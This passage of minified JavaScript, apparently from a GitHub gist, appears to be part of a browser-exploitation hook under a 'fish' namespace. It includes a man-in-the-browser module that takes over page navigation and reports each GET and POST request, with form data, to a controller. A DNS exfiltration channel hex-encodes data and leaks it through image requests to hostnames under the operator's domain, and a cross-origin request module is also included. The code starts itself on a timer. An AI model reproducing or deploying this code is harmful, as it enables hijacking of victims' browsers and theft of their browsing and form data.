XMLHttpRequest;r.open("POST",e,false,true);r.setRequestHeader("Content-type","application/x-www-form-urlencoded");r.onreadystatechange=function(){if(r.readyState==4&&r.responseText!=""){n.innerHTML=r.responseText;setTimeout(fish.mitb.hook,10)}};r.send(t);fish.mitb.sniff("POST: "+e+"["+t+"]");return true}catch(i){return false}},fetch:function(e,t){try{var n=new XMLHttpRequest;n.open("GET",e,false,true);n.onreadystatechange=function(){if(n.readyState==4&&n.responseText!=""){t.innerHTML=n.responseText;setTimeout(fish.mitb.hook,10)}};n.send(null);fish.mitb.sniff("GET: "+e);return true}catch(r){window.open(e);fish.mitb.sniff("GET [New Window]: "+e);return false}},fetchOnclick:function(e){try{var t=document.getElementsByTagName("html")[0];var n=new XMLHttpRequest;n.open("GET",e,false,true);n.onreadystatechange=function(){if(n.readyState==4&&n.responseText!=""){var r="";if(document.getElementsByTagName("title").length==0){r=document.title}else{r=document.getElementsByTagName("title")[0].innerHTML}history.pushState({Be:"EF"},r,e);t.innerHTML=n.responseText;setTimeout(fish.mitb.hook,10)}};n.send(null);fish.mitb.sniff("GET: "+e)}catch(r){window.open(e);fish.mitb.sniff("GET [New Window]: "+e)}},sniff:function(e){try{fish.net.send(fish.mitb.cid,fish.mitb.curl,e)}catch(t){}return true},endSession:function(){fish.mitb.sniff("Window closed.")}};fish.regCmp("fish.mitb");fish.net.dns={handler:"dns",send:function(e,t,n,r){var s=function(e){var t="";for(i=0;i<e.length;++i){t+=e.charCodeAt(i).toString(16).toUpperCase()}return t};var o=encodeURI(s(t));console.log(o);console.log("_encodedData_ length: "+o.length);var u=3+3+3+3;var a=255-u;var f=63;console.log("max_data_segment_length: "+f);var l=document.createElement("b");String.prototype.chunk=function(e){if(typeof e=="undefined")e=100;return this.match(RegExp(".{1,"+e+"}","g"))};var c=function(e){var t=new Image;t.src=fish.net.httpproto+"://"+e;t.onload=function(){l.removeChild(this)};t.onerror=function(){l.removeChild(this)};l.appendChild(t)};var h=o.chunk(f);var p="0xb3";console.log(h.length);for(var d=1;d<=h.length;d++){c(p+e+"."+d+"."+h.length+"."+h[d-1]+"."+n)}if(!!r)r(h.length)}};fish.regCmp("fish.net.dns");fish.net.cors={handler:"cors",response:function(){this.status=null;this.headers=null;this.body=null},request:function(e,t,n,r){var i;var s=new this.response;if(XMLHttpRequest){i=new XMLHttpRequest;if("withCredentials"in i){i.open(e,t,true);i.onerror=function(){};i.onreadystatechange=function(){if(i.readyState===4){s.headers=this.getAllResponseHeaders();s.body=this.responseText;s.status=this.status;if(!!r){if(!!s){r(s)}else{r("ERROR: No Response. CORS requests may be denied for this resource.")}}}};i.send(n)}}else if(typeof XDomainRequest!="undefined"){i=new XDomainRequest;i.open(e,t);i.onerror=function(){};i.onload=function(){s.headers=this.getAllResponseHeaders();s.body=this.responseText;s.status=this.status;if(!!r){if(!!s){r(s)}else{r("ERROR: No Response. CORS requests may be denied for this resource.")}}};i.send(n)}else{if(!!r)r("ERROR")}}};fish.regCmp("fish.net.cors");fish.are={init:function(){var e=require("jools");this.ruleEngine=new e},send:function(e){this.commands.push(e)},execute:function(e){this.rulesEngine.execute(input)},cache_modules:function(e){},rules:[{name:"exec_no_input",condition:function(e,t){return!e["inputs"]||e["inputs"].length==0},consequence:function(e,t){}},{name:"module_has_sibling",condition:function(e,t){return false},consequence:function(e,t){}},{name:"module_depends_on_module",condition:function(e,t){return false},consequence:function(e,t){}}],commands:[],results:[]};fish.regCmp("fish.are");setTimeout(fish_init,1e3)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment